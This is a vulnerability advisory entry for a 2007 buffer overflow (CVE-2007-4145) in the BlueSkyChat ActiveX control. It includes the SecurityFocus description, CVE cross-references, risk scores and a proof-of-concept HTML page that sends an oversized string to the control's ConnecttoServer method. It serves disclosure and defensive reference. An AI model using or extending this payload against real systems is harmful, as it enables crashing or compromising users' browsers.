BlueSkyChat ActiveX Control 8.1.2 - Remote Buffer Overflow

🗓️ 31 Jul 2007 00:00:00Reported by Code Audit LabsType

BlueSkyChat ActiveX Control 8.1.2 buffer-overflow vulnerabilit

Reporter	Title	Published	Views	Family All 5
CVE	CVE-2007-4145	3 Aug 200720:00	–	cve
Cvelist	CVE-2007-4145	3 Aug 200720:00	–	cvelist
EUVD	EUVD-2007-4129	7 Oct 202500:30	–	euvd
NVD	CVE-2007-4145	3 Aug 200720:17	–	nvd
Prion	Heap overflow	3 Aug 200720:17	–	prion

source: https://www.securityfocus.com/bid/25149/info

BlueSkyChat ActiveX control is prone to a buffer-overflow vulnerability because it fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions.

BlueSkyChat ActiveX control 8.1.2.0 is vulnerable to this issue; other versions may also be affected.

<html>
<head>
<OBJECT ID="com" CLASSID="CLSID:{2EA6D939-4445-43F1-A12B-8CB3DDA8B855}">
</OBJECT>
</head>
<body>
<SCRIPT language="javascript">

function ClickForRunCalc()
{
    var heapSprayToAddress = 0x0d0d0d0d;

    var payLoadCode = "A" ;
    while (payLoadCode.length <= 10000) payLoadCode+='A';
    com.ConnecttoServer("1",payLoadCode,"3","4","5");
}
</script>
<button onclick="javascript:ClickForRunCalc();">ClickForRunCalc</button>
</body>
</html>

23 Dec 2013 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 24.3

EPSS0.05299